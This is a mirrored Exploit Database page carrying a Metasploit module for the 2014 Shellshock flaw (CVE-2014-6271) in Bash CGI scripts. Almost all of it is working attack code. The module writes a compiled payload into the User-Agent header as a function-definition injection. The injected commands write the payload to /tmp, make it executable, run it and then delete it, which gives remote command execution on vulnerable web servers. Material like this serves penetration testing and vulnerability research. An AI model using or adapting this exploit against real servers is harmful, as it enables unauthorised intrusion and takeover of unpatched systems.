Bash CGI – ‘Shellshock’ Remote Command Injection (Metasploit)

• Exploit Database
• 89 阅读

• 作者： Fady Mohammed Osman
  日期： 2014-10-06
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/34895/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Shellshock Bashed CGI RCE',
  'Description'=> %q{
  This module exploits the shellshock vulnerability in apache cgi. It allows you to
  excute any metasploit payload you want.
  },
  'Author' =>
  [
  'Stephane Chazelas',	# vuln discovery
  'Fady Mohamed Osman'	# Metasploit module f.othman at zinad.net
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2014-6271' ]
  ],
  'Payload'	 =>
  {
  'BadChars' => "",
  },
  'Platform' => 'linux',
  'Arch'		 => ARCH_X86,
  'Targets'=>
  [
  [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Aug 13 2014'))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
  OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
  ], self.class)
  end
  
  def exploit
  @payload_name = "#{rand_text_alpha(5)}"
  full_path = datastore['FILEPATH'] + '/' + @payload_name
  payload_exe = generate_payload_exe
  if payload_exe.blank?
  fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
  end
  peer = "#{rhost}:#{rport}"
  print_status("#{peer} - Creating payload #{full_path}")
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> datastore['TARGETURI'],
  'agent'=> "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +"> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
  })
  end
  end
  

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